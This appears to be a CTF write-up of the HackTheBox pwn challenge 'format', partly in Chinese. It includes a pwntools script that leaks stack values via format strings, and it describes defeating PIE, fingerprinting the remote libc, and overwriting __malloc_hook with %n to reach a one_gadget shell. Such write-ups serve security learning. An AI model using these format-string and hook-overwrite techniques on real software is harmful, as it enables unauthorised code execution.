Posted onEdited onInpwn
,
逆向Views: Word count in article: 4kReading time ≈14 mins.
详细过程及exp - 1
与任何二进制利用挑战一样,首先在二进制文件上运行checksec,以查看启用了哪种保护。
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# checksec format [*] '/root/hackthebox/challenge/pwn/format/format' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
我们发现NX, Full RELRO和PIE都是启用的。进一步发现了堆栈Canary的存在。NX被启用意味着不能执行堆栈的内容。启用PIE意味着每次在新进程中生成二进制数据时,都会为该二进制数据选择一个新的基址。Full RELRO意味着不能修改get部分的内容。打开IDA中的二进制文件并分析它,以了解它的功能。
from pwn import * s = process('./format') for i in range(1, 100): s.sendline('%{}$p '.format(i).ljust(0x100, 'a')) print"{:2}: {}".format(i, s.recvline().split(' ')[0]) s.close()
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# python leak.py [+] Opening connection to 178.128.40.217 on port 32755: Done GLIBC(printf) leak: 0x7f436277be80 [*] Closed connection to 178.128.40.217 port 32755
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# file format format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# checksec format [*] '/root/hackthebox/challenge/pwn/format/format' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2. Run binary with format string as input and spot the vulnerability:
3. Disassemble binary with your favorite disassembler:
Vulnerable is printf() which should look like: printf(“%s\n”, argv[1]);
4. General overview of what is being leaked:
(1) 6th pointer — beginning of the printf() output
(2) 30th pointer — three free bytes which you need to keep in mind when you leak data using the printf() function (due to stack alignment) additionally, the direct parameter access to this pointer will change depending on the amount of data passed to the printf() function
(3) 37th pointer — init+117address needed for calculating libc base
5. Run binary in GDB — defeating PIE:
set a breakpoint at the printf() in echo()
check the init+117 PIE offset (before execution in GBD)
using direct parameter access input format string %37$p to leak init+117address
calculate the base ELF address after a leak to bypass the PIE security
You can verify the base address of ELF file using vmmap or info proc map
The first phase of exploit written in python2 based on pwntools containing everything so far.
6. Leak the __printf address from libc through printf():
Use %s instead of %p (access value printed by printf() instead of a pointer to the string)
Remember about stack alignment
7. Check the libc version on the remote system
Use https://libc.blukat.me/ with the leaked address of __printf to check the libc version being used on the remote system.
Check possible libc architecture, there is clearly only one option which is libc6_2.27–3ubuntu1_amd64 because it is the only one 64-bit libc.
Download above libc and place it in the directory with exploit.py
8. Taking control of execution flow:
The program has FULL RELRO, so there is no option of rewriting the fgets() or printf() address, but the content of libc shared libraries is writeable. Use this advantage to overwrite __malloc_hook function pointer.
The vulnerable function in this scenario is malloc() which is called, when the string sent to printf() is too big, __malloc_hook is called whenever malloc() is used.
1 2 3 4
# check __malloc_hook in leaked libc ┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# objdump -T libc-2.27.so | grep __malloc_hook 00000000003ebc30 w DO .data 0000000000000008 GLIBC_2.2.5 __malloc_hook
You can trigger malloc() by calling printf(“%10000$c”) — this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead.
You can overwrite the __malloc_hook using direct parameter write %6$n
It is not possible to specify the parameters of the overridden __malloc_hook . The way out of this situation will be to use a gadget called one_gadget which in fact is a execve(“/bin/sh”) command that is present in libc